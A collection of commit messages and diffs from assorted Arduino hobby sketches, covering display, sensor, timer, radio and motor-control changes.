write all at one shot

write all at one shot

--- power_measure_tool.ino
+++ power_measure_tool.ino
@@ -75,18 +75,31 @@
   display.display();

   //Print order: outputWatt, outputVolt, outputAmp, shuntVolt, sourceVolt
-  Serial.print(outputWatt, 3);
-  Serial.print(" ");
-  Serial.print(outputVolt, 3);
-  Serial.print(" ");
-  Serial.print(outputAmp, 4);
-  Serial.print(" ");
-  Serial.print(shuntVolt, 5);
-  Serial.print(" ");
-  Serial.print(sourceVolt, 3);
-  Serial.println();
+
+  String output = "";
+  char buff[10];
+
+  String outputWattString = dtostrf(outputWatt, 0, 3, buff);
+  output += outputWattString;
+  output += " ";

+  String outputVoltString = dtostrf(outputVolt, 0, 3, buff);
+  output += outputVoltString;
+  output += " ";
+
+  String outputAmpString = dtostrf(outputVolt, 0, 4, buff);
+  output += outputAmpString;
+  output += " ";

+  String shuntVoltString = dtostrf(shuntVolt, 0, 5, buff);
+  output += shuntVoltString;
+  output += " ";
+
+  String sourceVoltString = dtostrf(sourceVolt, 0, 3, buff);
+  output += sourceVoltString;
+
+  Serial.println(output);
+  Serial.flush();

   delay(POLL_RATE);


code cleanup: remove random comments

code cleanup: remove random comments

--- drone/WebServerESC/WebServerESC.ino
+++ drone/WebServerESC/WebServerESC.ino
@@ -6,11 +6,7 @@
 #include <Servo.h>
 #include <WiServer.h>

-
-// Definizione Variabili Globali Stato Led
-byte thestart = 0;  // Stato led rosso
-
-
+byte thestart = 0;

 #define WIRELESS_MODE_INFRA	1
 #define WIRELESS_MODE_ADHOC	2
@@ -55,7 +51,7 @@
     }

-    // Se URL richieso corrisponde a "?OPERATION=ACCENDI_ROSSO
+
 	  if (strcmp (URL, "/?OPERATION=OFF") == 0) {
            thestart = 1;
            Invia_Pagina_Web();
@@ -65,7 +61,7 @@
 	    return (true);
 	  }

-	  // Se URL richieso corrisponde a "?OPERATION=SPEGNI_ROSSO"
+
 	  if (strcmp (URL, "/?OPERATION=ON") == 0) {
 	    thestart = 0;
             Invia_Pagina_Web();
@@ -107,15 +103,6 @@
 // IP Address for www.weather.gov
 uint8 ip[] = {184,168,17,1};

-// A request that gets the latest METAR weather data for LAX
-//GETrequest getWeather(ip, 80, "www.onebuttonalert.com", "/makevoicecall/?accesscode=iHHusuLm2uNe&customersid=14");
-
-//GETrequest getWeathersms(ip, 80, "www.onebuttonalert.com", "/makesmsnow/?accesscode=iHHusuLm2uNe&customersid=14");
-
-
-
-
-
 // This is our motor.
 Servo myMotor;

@@ -150,14 +137,6 @@
   // Required for I/O from Serial monitor
   Serial.begin(57600);
   Serial.println("Starting WiFi");
-  // Print a startup message
- // Serial.println("initializing");
-
-  // pinMode(PIN_BLUEII, OUTPUT);
-//   pinMode(PIN_RED , OUTPUT);
- //  pinMode(ledPin, OUTPUT); // declare LED as output
-  // pinMode(buttonPin, INPUT); // declare pushbutton as input
-

   // Initialize WiServer and have it use the sendMyPage function to serve pages
   WiServer.init(sendMyPage);
@@ -172,35 +151,11 @@

-void loop(){
-
-  //val = digitalRead(buttonPin); // read input value
-
-//if (val == HIGH) { // check if the input is HIGH (button released)
-//digitalWrite(PIN_BLUEII, LOW); // turn LED OFF
-
-//} else {
-//digitalWrite(PIN_BLUEII, HIGH ); // turn LED ON
-
- // a request to server page to make a sms
-  // getWeathersms.submit();
-
-  // getWeather.submit();
- //  delay(50);
-
-    // A request to server page make a call
- //  getWeather.submit();
-
-
-//}
-
+void loop()
+{
   // Run WiServer
   WiServer.server_task();
   delay(10);
-
-
-
-
 }

@@ -268,7 +223,7 @@

 	}

-	// Spegne il led rosso
+
 	void move_to_end() {

          myMotor.write(70);
@@ -276,8 +231,6 @@

 	}

-
-
 	void move_to_ninty() {

          myMotor.write(90);


Changing settings. Pin for rotary button changed. Made brightness a mode with a timeout based on pushing the rotary button.

--- SunriseAlarm.ino
+++ SunriseAlarm.ino
@@ -44,12 +44,14 @@
   ClockTime(int h, int m, int s) : hour(h), minute(m), second(s) {}
   ClockTime(DateTime dt) : hour(dt.hour()), minute(dt.minute()), second(dt.second()) {}
   ClockTime(const ClockTime & ct) : hour(ct.hour), minute(ct.minute), second(ct.second) {}
+
   ClockTime operator++(int) {
     ClockTime result(*this);
     ++this->minute;
     fixTime();
     return result;
   }
+
   ClockTime operator+=(int16_t delta)
   {
     ClockTime result(*this);
@@ -57,6 +59,7 @@
     fixTime();
     return result;
   }
+
   ClockTime operator-=(int16_t delta)
   {
     ClockTime result(*this);
@@ -64,46 +67,53 @@
     fixTime();
     return result;
   }
+
   ClockTime operator--(int) {
     ClockTime result(*this);
     --this->minute;
     fixTime();
     return result;
   }
+
   ClockTime & operator++() {
     ++this->minute;
     fixTime();
     return *this;
   }
+
   ClockTime & operator--() {
     --this->minute;
     fixTime();
     return *this;
   }
+
   void fixTime() {
     while (this->second > 59) {
       ++this->minute;
       this->second -= 60;
     }
+    while (this->second < 0) {
+      --this->minute;
+      this->second += 60;
+    }
+
     while (this->minute > 59) {
       ++this->hour;
       this->minute -= 60;
     }
-    while (this->hour > 23) {
-      this->hour -= 24;
-    }
-    while (this->second < 0) {
-      --this->minute;
-      this->second += 60;
-    }
     while (this->minute < 0) {
       --this->hour;
       this->minute += 60;
     }
+
+    while (this->hour > 23) {
+      this->hour -= 24;
+    }
     while (this->hour < 0) {
       this->hour += 24;
     }
   }
+
   int hour;
   int minute;
   int second;
@@ -182,7 +192,7 @@
 #define TimeLED 10
 #define OffButton A0
 #define alarmMasterSwitch 8
-#define RotaryButton A1
+#define rotaryButton 13

 // Sound effects serial TX/RX pins:
 #define SFX_TX 5
@@ -558,7 +568,7 @@
   pinMode(AlarmButton,INPUT_PULLUP);
   pinMode(TimeButton,INPUT_PULLUP);
   pinMode(alarmMasterSwitch, INPUT_PULLUP);
-  pinMode(RotaryButton, INPUT_PULLUP);
+  pinMode(rotaryButton, INPUT_PULLUP);
   pinMode(OffButton,INPUT);
   pinMode(AlarmLED, OUTPUT);
   pinMode(TimeLED, OUTPUT);
@@ -803,14 +813,24 @@

 void updateBrightness()
 {
-  int16_t encoderDelta = encoder->getValue();
-  if (encoderDelta != 0)
-  {
-    int delta = (encoderDelta>0 ? 1 : -1);
-    matrixBrightness = max(min(15,matrixBrightness+delta),0);
-    matrix.setBrightness(matrixBrightness); // 0-15
-    writeBrightnessToEEPROM();
-  }
+  unsigned long modeActive = millis();
+  bool normalExit = true;
+  while (debounceDigitalRead(rotaryButton)==HIGH) {
+    int16_t encoderDelta = encoder->getValue();
+    if (encoderDelta != 0) {
+      int delta = (encoderDelta>0 ? 1 : -1);
+      matrixBrightness = max(min(15,matrixBrightness+delta),0);
+      matrix.setBrightness(matrixBrightness); // 0-15
+    }
+    if (static_cast<unsigned long>(millis() - modeActive) > modeInactivePeriod) {
+      normalExit = false;
+      break;
+    }
+  }
+  if (normalExit) {
+    waitForButtonDepress(rotaryButton, LOW);
+  }
+  writeBrightnessToEEPROM();
 }

 void loop() {
@@ -838,6 +858,10 @@
       setSunSet();
     }
   }
+  else if (digitalRead(rotaryButton)==LOW && debounceDigitalRead(rotaryButton)==LOW) {
+    updateBrightness();
+  }
+
   if (digitalRead(alarmMasterSwitch) == LOW) {
     alarmMasterSwitchEnabled = false;
     if (alarmEnabled && alarmActive) {
@@ -850,7 +874,6 @@
   else {
     alarmMasterSwitchEnabled = true;
   }
-  updateBrightness();
   updateLight();
   updateCurrentTime();
   updateClockTime();


Update automatic_water_control_rev1.ino

Update automatic_water_control_rev1.ino

--- automatic_water_control_rev1/automatic_water_control_rev1.ino
+++ automatic_water_control_rev1/automatic_water_control_rev1.ino
@@ -20,10 +20,10 @@
 void setup()
 {
   Serial.begin(9600);
-  pinMode(pcinput,INPUT);
+  pinMode(pcinput,INPUT);  // DEEPAK, WHY ARE YOU USING AN ANALOG PIN FOR DIGITAL INPUT??? WUT BOUT THE OTHER DIGITAL PINS??
   pinMode(pcoutput,OUTPUT);
-  pcsensor = digitalRead(pcinput);
-  pcstate = pcinput;
+  pcsensor = digitalRead(pcinput); // why this line here?
+  pcstate = pcinput;    // is this correct??  pcinput is just a pin num isnt it??
 }

 void loop()


PIRFLIP fix for active_low PIR sensors (http://forum.jeelabs.net/node/1454)

--- examples/RF12/roomNode/roomNode.ino
+++ examples/RF12/roomNode/roomNode.ino
@@ -96,7 +96,7 @@
             if (lastOn > 0)
                 ATOMIC_BLOCK(ATOMIC_RESTORESTATE) {
                     if (millis() - lastOn < 1000 * PIR_HOLD_TIME)
-                        f = 1 ^ PIR_FLIP;
+                        f = 1;
                 }
             return f;
         }


change lcd byte

change lcd byte


updated something

updated something

--- examples/pseudopod-wifi/pseudopod-wifi.ino
+++ examples/pseudopod-wifi/pseudopod-wifi.ino
@@ -25,6 +25,7 @@

 int status = WL_IDLE_STATUS;
 WiFiClient conn;
+
 TentacleArduino tentacle;
 Pseudopod pseudopod(conn, conn, tentacle);

@@ -33,8 +34,6 @@
   Serial.println(F("Starting up."));

   setupWifi();
-  connectToServer();
-  delay(DELAY);
 }

 void loop() {
@@ -56,22 +55,16 @@
 }

 void readData() {
-  if(!conn.available()) {
-    return;
-  }
-
   delay(DELAY);
-
   while (conn.available()) {
     Serial.println(F("Received message"));
     Serial.flush();
-
+
     pseudopod.readMessage();
   }
 }

 void connectToServer() {
-
   int connectionAttempts = 0;
   Serial.println(F("Connecting to the server."));
   Serial.flush();


closes #594

closes #594

--- examples/IRsendDemo/IRsendDemo.ino
+++ examples/IRsendDemo/IRsendDemo.ino
@@ -29,6 +29,7 @@
 }

 void loop() {
+    // Sony codes must be sent 3 times according to the protocol
     for (int i = 0; i < 3; i++) {
         irsend.sendSony(0xa90, 12);
         Serial.println(F("sendSony(0xa90, 12)"));


Previous one was missing its initialization, thus wasn't correct. This one is likely to work better.

--- examples/ModuleInfo/ModuleInfo.ino
+++ examples/ModuleInfo/ModuleInfo.ino
@@ -18,6 +18,13 @@
 void setup() {
     Serial.begin(115200);

+    Wire.begin();                       // Wire must be started first
+    Wire.setClock(400000);              // Supported baud rates are 100kHz, 400kHz, and 1000kHz
+    SPI.begin();                        // SPI must be started first as well
+
+    // Using 40x30 8bpp memory allocation mode and default celsius temperature mode
+    flirController.init(LeptonFLiR_ImageStorageMode_40x30_8bpp);
+
     flirController.printModuleInfo();
 }


Zero based index

Zero based index

--- ableton-midi-foot-controller.ino
+++ ableton-midi-foot-controller.ino
@@ -187,7 +187,7 @@
   Serial.println(strings);
 #endif

-  songs[index - 1] = strings;
+  songs[index] = strings;
 }

 byte getConfigurationType(char* messageOriginal) {


Fix: make send example sequence proper

Fix: make send example sequence proper


updating I2C comments.

updating I2C comments.

--- examples/ESP_ssd1306_128x64_I2C/ESP_ssd1306_128x64_I2C.ino
+++ examples/ESP_ssd1306_128x64_I2C/ESP_ssd1306_128x64_I2C.ino
@@ -22,16 +22,13 @@
 #include <SPI.h>            // For SPI comm (needed for not getting compile error)
 #include <Wire.h>           // For I2C comm, but needed for not getting compile error

-/*HardWare Olimex ESP8266 SPI pins
-Pin 16,   GPIO12   MISO (DIN)
-Pin 17,   GPIO14   CLOCK          - D0 pin OLED display
-Pin 18,   GPIO13   MOSI (DOUT)    - D1 pin OLED display
-Pin 19,   GPIO15   CS / SS        -
+/*
+HardWare OLED ESP8266 I2C pins
+Pin 17,   GPIO14   SCL
+Pin 19,   GPIO15   SDA
 */

 // Pin definitions
-#define OLED_CS     15  // Pin 19, CS - Chip select
-#define OLED_DC     2   // Pin 20 - DC digital signal
 #define OLED_RESET  16  // Pin 15 -RESET digital signal


Update ESP_ssd1306_128x64_I2C.ino

Update ESP_ssd1306_128x64_I2C.ino


Update CS pins to match the ones in the top-side jumpers of the Termopar Nanoshield (D4, D7, D8, D10 and A3).

--- examples/MultiThermometer/MultiThermometer.ino
+++ examples/MultiThermometer/MultiThermometer.ino
@@ -8,7 +8,7 @@
 #include "Nanoshield_Thermocouple.h"

 // Define the CS pin for each thermocouple
-byte cs[] = { 6, 7, 8, 9 };
+byte cs[] = { 4, 7, 8, 10, A3 };

 // Create an array of thermocouples
 Nanoshield_Thermocouple thermocouple[sizeof(cs)];


Updates status.ino to use new SSD1306 API

--- status.ino
+++ status.ino
@@ -8,6 +8,7 @@

   uint8_t batv = mcu_get_battery_voltage();
   sprintf(_sbuf, "Battery: %d.%dV", batv/10, batv%10);
+  oled.setBufferRegion(SSD1306_REGION_MID);
   oled.drawString(_sbuf, 0, ypos, FONT_SIZE, STATUS_COLOR);

   ypos += LINE_HEIGHT;


New GetOS command

New GetOS command


working logger and LCD screen

working logger and LCD screen

--- homemonitor/homemonitor.ino
+++ homemonitor/homemonitor.ino
@@ -36,15 +36,33 @@
 LiquidCrystal_I2C lcd(0x27,16,2);  // set the LCD address to 0x27 for a 16 chars and 2 line display
 char lcd_line_buffer[17]; // Single line buffer for writing to LCD

-
-int tempA;
-int tempB;
+boolean SDCardExists = false; // used for LCD display purposes
+
+float tempA;
+float tempB;

 // Thermistor objects and temperature variables
 ThermistorSensor thermistorA(THERMISTOR_PIN_A);
 ThermistorSensor thermistorB(THERMISTOR_PIN_B);

 File myFile;
+
+int leadZero(int value)
+{
+  return value;
+}
+
+// Prints input integers with leading zeros up to 2
+void lcdPrintLeadingZerosInt(int value)
+{
+  if (value >= 10)
+    lcd.print(value);
+  else
+  {
+    lcd.print("0");
+    lcd.print(value);
+  }
+}

 void readFileToSerial(char* filename)
 {
@@ -67,8 +85,8 @@
   }
 }

-// Append int value to file
-void logToFile(char* filename, int value)
+// Append float value to file
+void logToFile(char* filename, float value)
 {
   // open the file. note that only one file can be open at a time,
   // so you have to close this one before opening another.
@@ -158,17 +176,20 @@

 void updateTemperatures()
 {
-  tempA = thermistorA.getReading();
-  tempB = thermistorB.getReading();
+  // tempA = thermistorA.getReading();
+  // tempB = thermistorB.getReading();
+  tempA = thermistorA.getFilteredReading();
+  tempB = thermistorB.getFilteredReading();
 }

 // Read and record data to log files
 void recordData()
 {
-  delay(250);
+  Alarm.delay(250);
   Serial.println("Woo");
   if (startSD())
   {
+    SDCardExists = true;
     // Read thermistors
     updateTemperatures();

@@ -184,28 +205,42 @@
     Serial.println("T_out.txt: ");
     readFileToSerial("T_out.txt");
   }
-  trigger_button = false;
-
+  else {
+    SDCardExists = false;
+  }
 }

 boolean trigger_lcd = false;

-// void updateLCD()
-// {
-//   sprintf(lcd_line_buffer, "%2d/%02d %02d:%02d:%02d",
-//     month(), day(), hour(), minute(), second());
-//   // lcd.clear();
-//   lcd.setCursor(0,0);
-//   lcd.print(lcd_line_buffer);
-
-//   sprintf(lcd_line_buffer, "IN: %2d, OUT: %3d",
-//     tempA, tempB);
-//   lcd.setCursor(0,1);
-//   lcd.print(lcd_line_buffer);
-
-//   // LCD refreshed, clear update bit
-//   trigger_lcd = false;
-// }
+void updateLCD()
+{
+  // Don't use sprintf or memory issues break SD card usage :(
+  // sprintf(lcd_line_buffer, "%2d/%02d %02d:%02d:%02d",
+  //   month(), day(), hour(), minute(), second());
+  // lcd.clear();
+  lcd.setCursor(0,0);
+  lcdPrintLeadingZerosInt( month() );
+  lcd.print("/");
+  lcdPrintLeadingZerosInt( day() );
+  lcd.print(" ");
+
+  lcdPrintLeadingZerosInt( hour() );
+  lcd.print(":");
+  lcdPrintLeadingZerosInt( minute() );
+  lcd.print(":");
+  lcdPrintLeadingZerosInt( second() );
+
+  // sprintf(lcd_line_buffer, "I: %2d, O: %3d",
+  //   tempA, tempB);
+  lcd.setCursor(0,1);
+  lcd.print("I/O ");
+  lcd.print(tempA,1);
+  // lcd.print((char)223);
+  lcd.print(" ");
+  lcd.print(tempB,1);
+  lcd.print((char)223);
+  lcd.print("C    ");
+}

 void triggerLCD()
@@ -238,13 +273,13 @@
   // Set call to update files every minute
   Alarm.timerRepeat(60, buttonInterrupt);

-  // Update LCD screenevery second (avoid SPI collision)
-  // Alarm.timerRepeat(1, triggerLCD);
+  // Update LCD screenevery second
+  Alarm.timerRepeat(1, triggerLCD);

   // Done
   lcd.setCursor(0,1);
   lcd.print("Initialized.");
-  delay(500);
+  Alarm.delay(500);
   lcd.clear();
 }

@@ -255,19 +290,26 @@
   {
     Serial.println("Trigger Button");
     recordData();
-    delay(1000);
+    Alarm.delay(250);
     lcd.clear();
-    lcd.print("Data Logged");
-    delay(1000);
-  }
-
-  // if (trigger_lcd)
-  // {
-  //   Serial.println("Trigger LCD");
-  //   updateTemperatures();
-  //   updateLCD();
-  //   delay(10);
-  // }
+    if (SDCardExists)
+      lcd.print("Data Logged");
+    else
+      lcd.print("No SD Card");
+    Alarm.delay(500);
+
+    trigger_button = false;
+  }
+
+  if (trigger_lcd)
+  {
+    // Serial.println("Trigger LCD");
+    updateTemperatures();
+    updateLCD();
+    Alarm.delay(10);
+
+    trigger_lcd = false;
+  }

   Alarm.delay(500); // Check every second
 }


Update ArduCAM_Mini_LowPowerMode.ino

Update ArduCAM_Mini_LowPowerMode.ino

--- ArduCAM/examples/mini/ArduCAM_Mini_LowPowerMode/ArduCAM_Mini_LowPowerMode.ino
+++ ArduCAM/examples/mini/ArduCAM_Mini_LowPowerMode/ArduCAM_Mini_LowPowerMode.ino
@@ -42,8 +42,16 @@
 Serial.println(F("ACK CMD ArduCAM Start! END"));
 // set the SPI_CS as an output:
 pinMode(SPI_CS, OUTPUT);
+digitalWrite(SPI_CS, HIGH);
 // initialize SPI:
 SPI.begin();
+
+//Reset the CPLD
+myCAM.write_reg(0x07, 0x80);
+delay(100);
+myCAM.write_reg(0x07, 0x00);
+delay(100);
+
 while(1){
   //Check if the ArduCAM SPI bus is OK
   myCAM.write_reg(ARDUCHIP_TEST1, 0x55);


Go to waiting state at startup, not dev setup

--- timer/timer.ino
+++ timer/timer.ino
@@ -33,10 +33,6 @@

   // start in waiting state
   current_state = STATE_WAITING;
-
-  // for dev
-  countdown_duration = 2000; // 15 mins in ms
-  start_countdown_timer();
 }

 void loop() {


Smoother Motion

Smoother Motion

Delay for each step in a linear motion is consistent, the delay between
each angular motion depends on the number of angular motion steps
required for each linear motion step.

--- AL5D/al5d.ino
+++ AL5D/al5d.ino
@@ -202,7 +202,7 @@
    if ( ( ret_val = servoWritePulse( ELB, elbPulse ) ) != 0 ) return ret_val;
    if ( ( ret_val = servoWritePulse( WRI, wriPulse ) ) != 0 ) return ret_val;

-   delay(g_moveDelay);
+   //delay(g_moveDelay);

    return ret_val;
 }
@@ -229,9 +229,14 @@
    steps = max( steps, wDiff );
    DEBUG("Steps: "); DEBUGln(steps);

+   int delayus = round(((double)1000*g_moveDelay)/steps);
+
+   DEBUG("Delayus: "); DEBUGln(delayus);
+
    if( steps < 2 )
    {
       ret_val = moveArm( basPulse, shlPulse, elbPulse, wriPulse );
+      delayMicroseconds(delayus);
    }
    else
    {
@@ -249,6 +254,7 @@
       {
          if( ( ret_val = moveArm( round(bMove), round(sMove), round(eMove), round(wMove) ) ) != 0 ) break;
          bMove += bStep; sMove += sStep; eMove += eStep; wMove += wStep;
+         delayMicroseconds(delayus);
       }
    }

@@ -259,6 +265,7 @@
 // (r = radius, h = height, b = azimuth = base servo angle, handAngle = angle of hand from horizontal)
 int moveArmCoord( double radius_mm, double height_mm, double basAngle_d, double handAngle_d )
 {
+   if ( radius_mm < 0 ) return -4;
    DEBUG("moveArmCoord("); DEBUG(radius_mm); DEBUG(","); DEBUG(height_mm); DEBUG(","); DEBUG(basAngle_d); DEBUGln(")");
    /* Lengths from shoulder to wrist in cylindrical coordinates */
    double s2w_h = height_mm - BASE_HEIGHT - HAND*sin( radians( handAngle_d) );
@@ -579,7 +586,7 @@
             else Serial.println(ret_val);
             break;
          case 'R':
-            moveArm(BAS_PARK,SHL_PARK,ELB_PARK,WRI_PARK); Serial.println("ARM PARKED!"); break;
+            moveArm(degToPulse(BAS, BAS_PARK), degToPulse(SHL, SHL_PARK), degToPulse(ELB, ELB_PARK), degToPulse(WRI, WRI_PARK)); Serial.println("ARM PARKED!"); break;

          case 'l': //start of setting light PWM value
             i=0; buf[i] = Serial.read(); delay(1);


extend to report battery voltage

extend to report battery voltage

--- examples/RF12/radioBlip2/radioBlip2.ino
+++ examples/RF12/radioBlip2/radioBlip2.ino
@@ -5,16 +5,19 @@
 #include <JeeLib.h>
 #include <avr/sleep.h>

+#define BOOST     0   // measure battery on analog pin if 1, else vcc after
+
 #define BLIP_NODE 22  // wireless node ID to use for sending blips
 #define BLIP_GRP  5   // wireless net group to use for sending blips
 #define BLIP_ID   1   // set this to a unique ID to disambiguate multiple nodes
 #define SEND_MODE 3   // set to 3 if fuses are e=06/h=DE/l=CE, else set to 2

 struct {
-  long ping;  // 32-bit counter
-  byte id;    // identity, should be different for each node
-  byte vcc1;  // VCC before transmit, 1.0V = 0 .. 6.0V = 250
-  byte vcc2;  // VCC after transmit, will be sent in next cycle
+  long ping;      // 32-bit counter
+  byte id :7;     // identity, should be different for each node
+  byte boost :1;  // whether compiled for boost chip or not
+  byte vcc1;      // VCC before transmit, 1.0V = 0 .. 6.0V = 250
+  byte vcc2;      // battery voltage (BOOST=1), or VCC after transmit (BOOST=0)
 } payload;

 volatile bool adcDone;
@@ -67,6 +70,7 @@
   rf12_sleep(RF12_SLEEP);

   payload.id = BLIP_ID;
+  payload.boost = BOOST;
 }

 static byte sendPayload () {
@@ -102,12 +106,19 @@

   if (vcc <= VCC_FINAL) { // hopeless, maybe we can get one last packet out
     sendPayload();
-    vcc = payload.vcc2 = 1; // don't even try reading VCC after this send
+    vcc = 1; // don't even try reading VCC after this send
+#if !BOOST
+    payload.vcc2 = vcc;
+#endif
   }

   if (vcc >= VCC_OK) { // enough energy for normal operation
     sendPayload();
+#if BOOST
+    payload.vcc2 = analogRead(1);
+#else
     vcc = payload.vcc2 = vccRead(); // measure and remember the VCC drop
+#endif
   }

   byte minutes = VCC_SLEEP_MINS(vcc);


threshold tweaks

threshold tweaks

--- examples/RF12/radioBlip2/radioBlip2.ino
+++ examples/RF12/radioBlip2/radioBlip2.ino
@@ -67,18 +67,18 @@
 // don't transmit - when power is even lower, don't read out the VCC level.
 //
 // With a 100 µF cap, normal packet sends can cause VCC to drop by some 0.6V,
-// hence the choices below: sending at >= 2.8V should be ok most of the time.
+// hence the choices below: sending at >= 2.7V should be ok most of the time.

-#define VCC_OK    90  // >= 2.8V - enough power for normal 1-minute sends
+#define VCC_OK    85  // >= 2.7V - enough power for normal 1-minute sends
 #define VCC_LOW   80  // >= 2.6V - sleep for 1 minute, then try again
-#define VCC_DOZE  60  // >= 2.2V - sleep for 5 minutes, then try again
-                      //  < 2.2V - sleep for 60 minutes, then try again
+#define VCC_DOZE  75  // >= 2.5V - sleep for 5 minutes, then try again
+                      //  < 2.5V - sleep for 60 minutes, then try again
 #define VCC_SLEEP_MINS(x) ((x) >= VCC_LOW ? 1 : (x) >= VCC_DOZE ? 5 : 60)

 // Reasoning is that when we're about to try sending and find out that VCC
 // is far too low, then let's just send anyway, as one final sign of life.

-#define VCC_FINAL 70  // <= 2.4V - send one last packet, our swan song
+#define VCC_FINAL 70  // <= 2.4V - send anyway, might be our last swan song

 void loop() {
   byte vcc = payload.vcc1 = vccRead();


added averager to outvolt

added averager to outvolt

--- Firmware/firmware/firmware.ino
+++ Firmware/firmware/firmware.ino
@@ -719,11 +719,29 @@

 void sendout()
 {
-  adc = analogRead(0);
-  dac = analogRead(1);
-  adcgnd = analogRead(2);
-  adcref = analogRead(3);
-  refvolt = analogRead(5);
+
+  float fadc = 0;
+  float fdac = 0;
+  float fgnd = 0;
+  float fref = 0;
+  float frefvolt = 0;
+  int cUP = 50;
+  for (int ii = 0; ii < cUP; ii++)
+  {
+    fadc = fadc+analogRead(0);
+    fdac = fdac+analogRead(1);
+    fgnd = fgnd+analogRead(2);
+    fref = fref+analogRead(3);
+    frefvolt = frefvolt+analogRead(5);
+  }
+    fadc = fadc/cUP;
+    fdac = fdac/cUP;
+    fgnd = fgnd/cUP;
+    fref = fref/cUP;
+    frefvolt = frefvolt/cUP;
+
+
+
   if (pstat) mode = 2;
   else if (gstat) mode = 3;
   else if (ocv) mode = 1;
@@ -736,9 +754,9 @@
   Serial.print("GO,");
   Serial.print(outvolt, DEC);
   Serial.print(",");
-  Serial.print(adc);
+  Serial.print(fadc);
   Serial.print(",");
-  Serial.print(dac);
+  Serial.print(fdac);
   Serial.print(",");
   Serial.print(res);
   Serial.print(",");
@@ -752,11 +770,11 @@
   Serial.print(holdString[3]);
   Serial.print(holdString[4]);
   Serial.print(",");
-  Serial.print(adcgnd);
+  Serial.print(fgnd);
   Serial.print(",");
-  Serial.print(adcref);
+  Serial.print(fref);
   Serial.print(",");
-  Serial.print(refvolt);
+  Serial.print(frefvolt);
   Serial.print(",");
   Serial.print(int(EEPROM.read(32)));
   Serial.println(",ST");


Altered flags in sketch

Altered flags in sketch

--- megaDriveTesting/megaDriveTesting.ino
+++ megaDriveTesting/megaDriveTesting.ino
@@ -6,14 +6,14 @@
 int rightPin = 8;
 int startCPin = 7;

-byte upFlag = B00000001;
-byte downFlag = B00000010;
-byte leftFlag = B00000100;
-byte rightFlag = B00001000;
-byte aFlag = B00010000;
-byte bFlag = B00100000;
-byte cFlag = B01000000;
-byte startFlag = B10000000;
+int upFlag = 1;
+int downFlag = 2;
+int leftFlag = 4;
+int rightFlag = 8;
+int aFlag = 16;
+int bFlag = 32;
+int cFlag = 64;
+int startFlag = 128;

 void setup() {
   // put your setup code here, to run once:


Add #definitions and minor refactors

Add #definitions and minor refactors

--- SDPArduinoCode/SDPArduinoCode.ino
+++ SDPArduinoCode/SDPArduinoCode.ino
@@ -1,12 +1,24 @@
 #include "SDPArduino.h"
 #include <Wire.h>
 #include <stdlib.h>
+
+#define TURNING_MOTOR 0
+#define FRONT_LEFT_MOTOR 1
+#define FRONT_RIGHT MOTOR 2
+#define ACTION_MOTOR 3
+
 #define STOP 0
+#define FORWARD 1
+#define BACKWARD 2
+#define LEFT 3
+#define RIGHT 4
+#define KICK 5
+#define GRAB 6

 void setup(){

   SDPsetup();
-  Serial.setTimeout(100); // time out for accepting a string
+  Serial.setTimeout(1000); // time out for accepting a string

   // setup communication channel to our designated group channel = 0x20
 //  Serial.write("+++");
@@ -39,7 +51,7 @@
   int r2 = getNumFromChar(c[3]);
   int r3 = getNumFromChar(c[4]);
   return ((r1*100)+(r2*10)+r3);
-}int r = (int)c - (int)'0';
+}

 int check_checksum(String c, int opcode, int arg){
   int checksum = getNumFromChar(c[5]);
@@ -55,14 +67,21 @@
 }

-
+void stopRobot(){
+
+  motorAllStop();
+
+  // send reply message
+  Serial.println("Robot stopped");
+
+}

 void moveRobotForward(int power){

   //motorStop(0); // this might be useful, in the case the robot is already in a turning move

-  motorForward(1,power);
-  motorForward(2,power);
+  motorForward(FRONT_LEFT_MOTOR,power);
+  motorForward(FRONT_RIGHT_MOTOR,power);

   // need to create a reply message to let the PC acknowledge the accepted request and execution
   Serial.println("Robot forward");
@@ -74,12 +93,12 @@
   //motorStop(0); // again might be useful if the robot is in a turning move

   // stop the motors first incase they are moving forward (to prevent mechinical failure)
-  motorStop(1);
-  motorStop(2);
+  motorStop(FRONT_LEFT_MOTOR);
+  motorStop(FRONT_RIGHT_MOTOR);

   // set motors to move backwards
-  motorBackward(1, power);
-  motorBackward(2,power);
+  motorBackward(FRONT_LEFT_MOTOR, power);
+  motorBackward(FRONT_RIGHT_MOTOR,power);

   // send reply message
   Serial.println("Robot back");
@@ -91,8 +110,8 @@
   motorAllStop(); // use this for now, can change later on

   // set motors for left rotation
-  motorForward(2,power);
-  motorForward(0,power);
+  motorForward(FRONT_RIGHT_MOTOR,power);
+  motorForward(TURNING_MOTOR,power);

   // send reply message
   Serial.println("Robot left");
@@ -104,32 +123,35 @@
   motorAllStop(); // use this for now, can change later

   // set motors for right rotation
-  motorForward(1, power);
-  motorBackward(0, power);
+  motorForward(FRONT_LEFT_MOTOR, power);
+  motorBackward(TURNING_MOTOR, power);

   // send reply message
   Serial.println("Robot right");

 }

-void stopRobot(){
-
-  motorAllStop();
-
-  // send reply message
-  Serial.println("Robot stopped");
-
-}
-
-void robotGrab(){
-
-  motorForward(5, 100);
-  delay(500);
-  motorAllStop();
-  Serial.println("Robot Grab");
-
-
-}
+void robotKick(int power){
+
+  // move action motor backward
+  motorBackward(ACTION_MOTOR,power);
+
+  // send reply message
+  Serial.println("Kick");
+
+}
+
+void robotGrab(int power){
+
+  // move action motor forward
+  motorForward(ACTION_MOTOR,power);
+
+  // send reply message
+  Serial.println("Grab");
+
+}
+
+

@@ -142,8 +164,7 @@
     String c = Serial.readString();

     // inital test to see if message is recieved (delete afterwards)
-    //
-    Serial.println(c);
+    // Serial.println(c);

       // need to check if signuture is our teams first!
@@ -164,19 +185,22 @@
             case STOP:  stopRobot();
             break;

-            case 1:  moveRobotForward(arg);
-            break;
-
-            case 2:  moveRobotBackward(arg);
-            break;
-
-            case 3:  rotateRobotLeft(arg);
-            break;
-
-            case 4:  rotateRobotRight(arg);
+            case FORWARD:  moveRobotForward(arg);
+            break;
+
+            case BACKWARD:  moveRobotBackward(arg);
+            break;
+
+            case LEFT:  rotateRobotLeft(arg);
+            break;
+
+            case RIGHT:  rotateRobotRight(arg);
             break;

-            case 5: robotGrab();
+            case KICK: robotKick(arg);
+            break;
+
+            case GRAB: robotGrab(arg);
             break;

             default: Serial.println("ERR");


Version used during test on beach 1st of august

--- Arduino/Complete/src/src.ino
+++ Arduino/Complete/src/src.ino
@@ -248,7 +248,7 @@

   process();

-  power1 = -alphaSigned1*127;
+  power1 = alphaSigned1*127;
   power2 = -alphaSigned2*127;
   ST.motor(1, power1);
   ST.motor(2, power2);
@@ -257,15 +257,18 @@
   {
     //lastWriteTime = millis();

-    Serial.print(alphaSigned1);
+    Serial.print((alphaSigned1+1)*512);
